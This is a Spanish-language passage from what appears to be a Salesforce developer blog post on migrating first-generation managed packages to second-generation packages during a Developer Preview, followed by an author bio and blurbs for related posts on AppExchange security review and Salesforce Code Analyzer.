Inicie el proceso de migración utilizando la URL de instalación que recibió al final del proceso de conversión del paquete:
https://login.salesforce.com/packaging/installPackage.apexp?p0=04txxx00000u1cqAAA
Ahora pasará por el mismo conjunto de pantallas que el anterior, pero esta vez para su paquete 2GP convertido.
Actualmente, la interfaz de usuario muestra que la "instalación" se ha completado. En realidad, lo que hicimos fue una migración de paquetes que se completó con éxito.
Tenga en cuenta que en este ejemplo, he usado la segunda compilación Beta para la versión 1.7, que corresponde a la misma versión mayor.menor que la versión del paquete 1GP instalada anteriormente. Como el 2GP convertido, durante la Vista previa del desarrollador, se crea como una versión Beta, se muestra como tal.
Una vez más, puede confirmar la versión del paquete actualizado en la sección Paquetes instalados del menú Configuración, que también muestra, en este ejemplo, que el número de versión es 1.7 (Beta 2).
Una vez que haya migrado el paquete en su organización borrador, le recomendamos que lo pruebe para asegurarse de que funciona como se esperaba.
También debe aprovechar la oportunidad para verificar si las aplicaciones, como la aplicación de administración de licencias o la aplicación de administración de funciones, muestran la información correcta para su paquete migrado. Si encuentra algo que no está bien, por favor plantéelo como un problema y lo investigaremos.
Se necesitarán algunos lanzamientos para que las migraciones de paquetes estén disponibles de forma general. Su participación en Developer Preview, probando sus paquetes y brindándonos comentarios, es esencial para ayudarnos a identificar y resolver problemas antes.
Mientras tanto, ¿qué más puedes hacer? Le recomendamos que experimente con el uso de paquetes de segunda generación como parte de su modelo de desarrollo actual basado en 1GP. ¿Confundido? Dejame explicar.
Como mencioné anteriormente, hay una serie de ventajas específicas de 2GP. De estos, hay algunos de los que puede comenzar a beneficiarse hoy. Estos son los pasos que puede seguir:
Esto lo ayudará a sumergirse en el mundo de 2GP y, una vez que Package Migrations esté disponible de forma general, podrá abandonar su modelo de desarrollo de 1GP por completo y pasar por completo a un modelo de desarrollo de 2GP.
Estamos muy entusiasmados con las migraciones de paquetes, pero necesitamos su ayuda para asegurarnos de que sea lo mejor posible. Si es un desarrollador de ISV, continúe y regístrese para la Vista previa para desarrolladores en la Comunidad de socios.
¡Estamos ansiosos por recibir sus comentarios!
Grupo de vista previa para desarrolladores en la comunidad de socios
Embalaje gestionado de segunda generación (documentación)
John Belo es director de gestión de productos para productos de experiencia de desarrollador y se centra en migraciones de paquetes, analizador de código de Salesforce y análisis de aplicaciones de AppExchange. Ha estado en Salesforce durante más de siete años y pasó la mayor parte de este tiempo en el equipo de AppExchange. Comenzó liderando un equipo de evangelistas técnicos de ISV en EMEA y ahora es parte del equipo de gestión de productos de experiencia de desarrollador, siempre con la intención de ayudar a los ISV a tener el mayor éxito posible.
Agregar a Slack Suscríbete a RSS
Esta guía se publicó originalmente en Medium en 2021 y se actualizó con la orientación y los consejos más recientes, incluidas las nuevas funciones de seguridad como parte de los lanzamientos recientes y la nueva estructura de precios para las revisiones.
La publicación Prepare su aplicación para pasar la revisión de seguridad de AppExchange apareció primero en el blog de desarrolladores de Salesforce .
Estamos desarrollando Salesforce Graph Engine con nuevas reglas para ayudarlo a mejorar el rendimiento de su código en la última versión 3.9 de Code Analyzer.
La publicación Aumente el rendimiento del código con Salesforce Code Analyzer apareció por primera vez en el blog de desarrolladores de Salesforce .
Es difícil de creer, pero han pasado dos años desde que compartimos el lanzamiento 2.0 de nuestra herramienta de seguridad y calidad de código interna y de código abierto, Salesforce Code Analyzer (originalmente llamado Salesforce CLI Scanner). Ahora estamos listos para lanzar Code Analyzer versión 3.x, que reúne varias herramientas de prueba de seguridad de aplicaciones estáticas (SAST) de código abierto para ayudarlo […]
La publicación Desarrollar un código aún más seguro con Salesforce Code Analyzer apareció primero en el blog de desarrolladores de Salesforce .
